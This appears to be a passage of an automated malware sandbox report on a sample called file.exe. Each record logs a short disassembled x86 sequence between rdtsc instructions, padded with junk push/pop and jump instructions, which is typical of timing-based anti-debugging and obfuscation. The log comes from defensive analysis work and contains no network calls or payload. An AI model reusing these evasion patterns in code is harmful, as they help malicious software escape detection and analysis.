Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D094D second address: 9D096F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F942050A3A1h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 push esi 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D096F second address: 9D09A2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F9420DD1F3Dh 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 pushad 0x00000013 push edi 0x00000014 jmp 00007F9420DD1F42h 0x00000019 pop edi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0A73 second address: 9D0A77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0B4E second address: 9D0BAA instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9420DD1F3Ch 0x00000008 jnl 00007F9420DD1F36h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edx 0x00000016 call 00007F9420DD1F38h 0x0000001b pop edx 0x0000001c mov dword ptr [esp+04h], edx 0x00000020 add dword ptr [esp+04h], 0000001Ah 0x00000028 inc edx 0x00000029 push edx 0x0000002a ret 0x0000002b pop edx 0x0000002c ret 0x0000002d pushad 0x0000002e jmp 00007F9420DD1F40h 0x00000033 add ah, FFFFFFCFh 0x00000036 popad 0x00000037 push 00000004h 0x00000039 sub dword ptr [ebp+122D3218h], ecx 0x0000003f push eax 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 jnp 00007F9420DD1F36h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1069 second address: 9D106D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D1271 second address: 9D1275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19B87 second address: A19BA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F942050A3A2h 0x00000009 jo 00007F942050A396h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BA8 second address: A19BAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BAC second address: A19BC7 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F942050A39Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F942050A398h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19BC7 second address: A19BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F43h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1A2AA second address: A1A2C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D9DD second address: A1DA08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push edx 0x00000007 pop edx 0x00000008 pop esi 0x00000009 push esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c pop esi 0x0000000d pushad 0x0000000e push edx 0x0000000f pop edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 jmp 00007F9420DD1F42h 0x00000017 popad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1DA08 second address: A1DA21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F942050A39Ch 0x00000009 popad 0x0000000a push eax 0x0000000b ja 00007F942050A396h 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D257 second address: A1D261 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9420DD1F36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D261 second address: A1D27C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A6h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D3B0 second address: A1D3B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D3B4 second address: A1D3B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D3B8 second address: A1D3CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F9420DD1F36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F9420DD1F36h 0x00000014 push eax 0x00000015 pop eax 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D691 second address: A1D695 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1D695 second address: A1D6C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007F9420DD1F45h 0x0000000c pop edi 0x0000000d jmp 00007F9420DD1F3Ch 0x00000012 popad 0x00000013 push ebx 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FACF second address: A1FAD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FAD4 second address: A1FAEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Dh 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1FAEC second address: A1FAF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21E8B second address: A21E8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21E8F second address: A21E93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21E93 second address: A21E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A21E99 second address: A21E9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A261C0 second address: A261C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A265E8 second address: A265FA instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F942050A398h 0x00000010 push edx 0x00000011 pop edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D3C second address: 9D0D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D0D41 second address: 9D0D5A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F942050A3A4h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26A2C second address: A26A37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26A37 second address: A26A5F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push edi 0x0000000a pop edi 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e jmp 00007F942050A3A1h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 push esi 0x00000017 pop esi 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BA9 second address: A26BAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A26BAD second address: A26BB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A27587 second address: A275A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F47h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A275A3 second address: A275A8 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B396 second address: A2B3A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jp 00007F9420DD1F36h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2B3A4 second address: A2B3C4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A7h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F404 second address: A2F408 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2F408 second address: A2F410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E6F2 second address: A2E6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E6F6 second address: A2E706 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jc 00007F942050A3A9h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E706 second address: A2E717 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F3Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2E9FE second address: A2EA0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F942050A396h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EA0D second address: A2EA26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F9420DD1F36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d jl 00007F9420DD1F36h 0x00000013 pop edx 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EB9A second address: A2EBD5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F942050A39Ch 0x00000009 popad 0x0000000a jmp 00007F942050A39Bh 0x0000000f jmp 00007F942050A3A9h 0x00000014 popad 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2EBD5 second address: A2EBE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A2ED4A second address: A2ED50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3736D second address: A37373 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35644 second address: A35649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35649 second address: A3564E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35A83 second address: A35A91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F942050A396h 0x0000000a pop edx 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A35A91 second address: A35A97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A362B1 second address: A362D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 jnl 00007F942050A396h 0x0000000e popad 0x0000000f pop ebx 0x00000010 pushad 0x00000011 jno 00007F942050A39Ch 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b pop eax 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36AF5 second address: A36B0D instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F9420DD1F42h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A36B0D second address: A36B11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A37093 second address: A370AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F44h 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EBBC second address: A3EBC1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EBC1 second address: A3EBCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EFD8 second address: A3EFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EFDE second address: A3EFE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EFE2 second address: A3EFE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EFE6 second address: A3EFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3EFF0 second address: A3EFF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F188 second address: A3F1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9420DD1F42h 0x00000009 popad 0x0000000a pop edx 0x0000000b pushad 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F1A4 second address: A3F1AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F2D7 second address: A3F2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 jmp 00007F9420DD1F48h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A3F2F8 second address: A3F315 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F942050A3A7h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48012 second address: A48042 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F9420DD1F36h 0x00000008 jmp 00007F9420DD1F3Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jp 00007F9420DD1F3Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 jno 00007F9420DD1F36h 0x0000001d push eax 0x0000001e pop eax 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48042 second address: A48046 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A48046 second address: A4804C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4804C second address: A4806C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F942050A3A7h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4806C second address: A48082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F40h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46551 second address: A46555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46555 second address: A46559 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46979 second address: A4697D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4697D second address: A469D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F9420DD1F36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F9420DD1F45h 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F9420DD1F49h 0x00000019 popad 0x0000001a pushad 0x0000001b jg 00007F9420DD1F36h 0x00000021 push edi 0x00000022 pop edi 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 popad 0x00000026 popad 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jnc 00007F9420DD1F36h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469D2 second address: A469DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469DD second address: A469E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469E2 second address: A469F2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F942050A39Ah 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469F2 second address: A469F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A469F8 second address: A469FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46DE0 second address: A46DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46DE4 second address: A46DE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A46DE8 second address: A46DEE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47710 second address: A47714 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47714 second address: A4771E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9420DD1F36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4771E second address: A47723 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A47723 second address: A4772B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A45C0E second address: A45C1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jbe 00007F942050A396h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D105 second address: A4D125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c jl 00007F9420DD1F36h 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A4D125 second address: A4D12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 98BDA8 second address: 98BDB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F9420DD1F36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A50128 second address: A5012F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B055 second address: A5B06F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 jl 00007F9420DD1F36h 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F9420DD1F36h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B06F second address: A5B079 instructions: 0x00000000 rdtsc 0x00000002 je 00007F942050A396h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B079 second address: A5B07F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A5B07F second address: A5B083 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
